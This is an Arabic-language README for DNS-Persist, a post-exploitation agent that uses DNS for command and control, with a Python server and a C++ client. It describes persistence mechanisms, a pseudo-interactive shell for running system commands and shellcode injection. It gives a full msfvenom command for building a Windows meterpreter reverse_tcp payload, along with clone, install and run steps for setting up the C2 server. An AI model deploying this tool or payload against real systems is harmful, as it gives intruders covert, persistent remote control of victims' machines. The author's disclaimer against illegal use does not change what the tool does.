
DNS-Persist هو وكيل ما بعد الاستغلال يستخدم DNS للقيادة والتحكم.
DNS-Persist هي أداة استغلال لاحق (post-exploitation agent) تستخدم DNS للقيادة والتحكم. الكود في جانب الخادم مكتوب بلغة Python بينما العميل (agent) مبرمج بلغة C++. هذه هي النسخة الأولى، وسيتم إضافة المزيد من الميزات والتحسينات في المستقبل.
0x09AL - https://twitter.com/0x09al
لا تستخدم هذا البرنامج لأغراض غير قانونية.
المؤلف لا يتحمل أي مسؤولية عن أي إساءة استخدام للكود المقدم هنا.
هناك الكثير من الأعمال الرائعة حول DNS C2، لكنني أنشأت هذا البرنامج ليكون أكثر تركيزًا على جزء الثباتية (persistence). لست خبيرًا في C++ وهذا أول "برنامج حقيقي" لي بهذه اللغة (فتوقع بعض الأكواد المسببة للحرج).
الاقتراحات حول الميزات والتحسينات مفتوحة.
هناك جزءان رئيسيان:

تحتوي هذه النسخة على 3 آليات فقط للثباتية. سيتم إضافة المزيد لاحقًا.
تدعم هذه النسخة غلاف أوامر شبه تفاعلي (pseudo-interactive) يمكنك استخدامه لتنفيذ أوامر النظام.
تدعم هذه النسخة حقن شيلكود (shellcode) 32-بت. يتم تنفيذ الشيلكود في سلسلة (thread) جديدة داخل نفس العملية، لذلك أي انهيار في الشيلكود أو شيلكود غير صالح سيتسبب أيضًا في انهيار العميل. تجنب وجود بايتات NULL في الشيلكود.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py
سيتم تشغيل خادم DNS على المنفذ 53 افتراضيًا. يمكنك تغيير ذلك في ملف server.py.
استخدمت Visual Studio 2010 لكتابة كود العميل، لذا فإن استيراده وتجميعه يجب أن يكون سهلًا إلى حد ما.
تذكر تغيير المتغير DOMAIN_NAME في ملف Declarations.h ليطابق اسم النطاق الخاص بك.
يجب أن تشير خوادم أسماء النطاق إلى عنوان IP الخاص بـ DNS-Persist.
#define DOMAIN_NAME "example.com"



